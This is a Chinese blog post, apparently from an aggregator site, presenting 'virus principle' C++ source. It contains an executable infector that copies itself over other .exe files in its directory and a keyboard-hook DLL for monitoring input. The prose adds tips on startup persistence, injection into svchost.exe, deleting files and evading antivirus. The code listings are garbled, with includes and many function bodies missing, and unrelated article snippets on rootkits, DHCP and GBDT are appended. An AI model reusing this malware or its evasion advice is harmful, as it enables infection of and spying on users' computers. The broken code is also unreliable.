病毒原理例項

2021-09-01 16:35:23 字數 2517 閱讀 3505

#include #include #include using namespace std;

hmodule g_hmodule = null;

// 感染同目錄下的exe

void infection()

strcpy_s(szfilename, sizeof(szfilename), pchr + 1);

file *pselffile = null;

errno_t err = fopen_s(&pselffile, szfullfilename, "rb");

if (err)

fseek(pselffile, 0, seek_end);

int nmysize = ftell(pselffile);

fseek(pselffile, 0, seek_set);

// 把自己讀入記憶體

char *pszmyself = new char[nmysize];

if (!pszmyself)

memset(pszmyself, 0, nmysize);

fread(pszmyself, nmysize / 10, 10, pselffile);

// 取當前目錄,準備搜尋

char szdir[max_path] = "";

getcurrentdirectory(sizeof(szdir) / sizeof(char), szdir);

char szsearchfile[max_path] = "";

strcpy_s(szsearchfile, sizeof(szsearchfile), szdir);

strcat_s(szsearchfile, sizeof(szsearchfile), "\\*");

win32_find_data fd;

memset(&fd, 0, sizeof(win32_find_data));

handle hfile = findfirstfile(szsearchfile, &fd);

if (hfile == invalid_handle_value)

// 迴圈讀取exe檔案,開始感染

while(true)

if (strcmp(fd.cfilename, szfilename) == 0)

if (strstr(fd.cfilename, ".exe") != null)

else

}fclose(pselffile);

delete pszmyself;

}void createkeyboardhook()

typedef void (*hookfunc)();

hookfunc myhookfunc = (hookfunc)getprocaddress(g_hmodule, "sethook");

if (!myhookfunc)

myhookfunc();

}int main()

unhookfunc();

freelibrary(g_hmodule);

return 0;

}

#include extern "c" _declspec(dllexport) void sethook();

extern "c" _declspec(dllexport) void unhook();

hhook g_keyboardhook = null;

lresult callback keyboardhook(int ncode, wparam wparam, lparam lparam)

else if (0 == wparam)

return 1;

}void sethook()

void unhook()

以上兩個程式只是為了說明病毒的原理,其實,這只算是一段惡意的**,第一段**是主程式,編譯成exe,第二段**是dll檔案,先編譯一下dll檔案,把lib檔案放到主程式執行目錄下,把dll檔案放到病毒程式執行目錄下,就可以了

1、病毒若想要自動執行,很簡單,只要把我們的exe放入開始選單的啟動項就可以了,每次開機都會自動執行,如果高階點的話,就注入到別的程序裡去吧,如svchost.exe,具體實現,下次有時間再講解。

2、病毒感染,這是個很簡單的過程,就是開啟目標檔案,把病毒檔案乙個位元組乙個位元組的讀出來,然後寫入到目標檔案,這樣,目標檔案就擁有與病毒檔案相同的功能,也就是,如果目標是*.exe檔案,那麼,目標檔案執行後也會跟源病毒檔案做相同的事

3、病毒破壞作用,這個也很簡單,想破壞個東西還不容易嗎,刪除檔案就屬於破壞行為了。如果想監控客戶機,就安裝個鉤子吧,就像上面的**一樣,安裝了個鍵盤鉤子。

4、現在的計算機都安裝有防毒軟體,想要入侵怎麼辦?最簡單的辦法,就是寫個簡單的破壞軟體(這種軟體防毒軟體不會報,防毒軟體是個苦差啊,有些是不能報的),就像上面的那兩段**,去掉鉤子,防毒軟體就不會報了,接下來,就是簡單的破壞了,只要不是寫登錄檔,不安裝鉤子,不自動執行,殺軟一般都不會報,當然,這也是去了病毒程式最好玩的地方

rootkits病毒原理及解決辦法

rootkits病毒主要分為兩大類 第一種是程序注入式rootkits,另一種是驅動級rootkits。第一種rootkits技術通常通過釋放動態鏈結庫 dll 檔案,並將它們注入到可執行檔案及系統服務程序中執行,阻止作業系統及應用程式對被感染的檔案進行訪問。第二種rootkits技術比較複雜,在系...

DHCP工作原理及例項

dhcp dynamic host configuration protocol 動態主機配置協議,它 提供了一種動態指定ip位址和配置引數的機制 是一種用於簡化主機 ip 配置管理的 ip 標準。通過採用 dhcp 標準,可以使用 dhcp 伺服器為網路上啟用了 dhcp 的客戶端管理動態 ip ...

GBDT原理例項演示 1

考慮乙個簡單的例子來演示gbdt演算法原理 下面是乙個二分類問題,1表示可以考慮的相親物件,0表示不考慮的相親物件 特徵維度有3個維度,分別物件 身高,金錢,顏值 這個例子僅僅為了試驗,資料量很小沒有更多統計意義。0,1,2,3對應可以考慮的相親物件 4,5,6,7 對應不考慮的相親物件 先看一下g...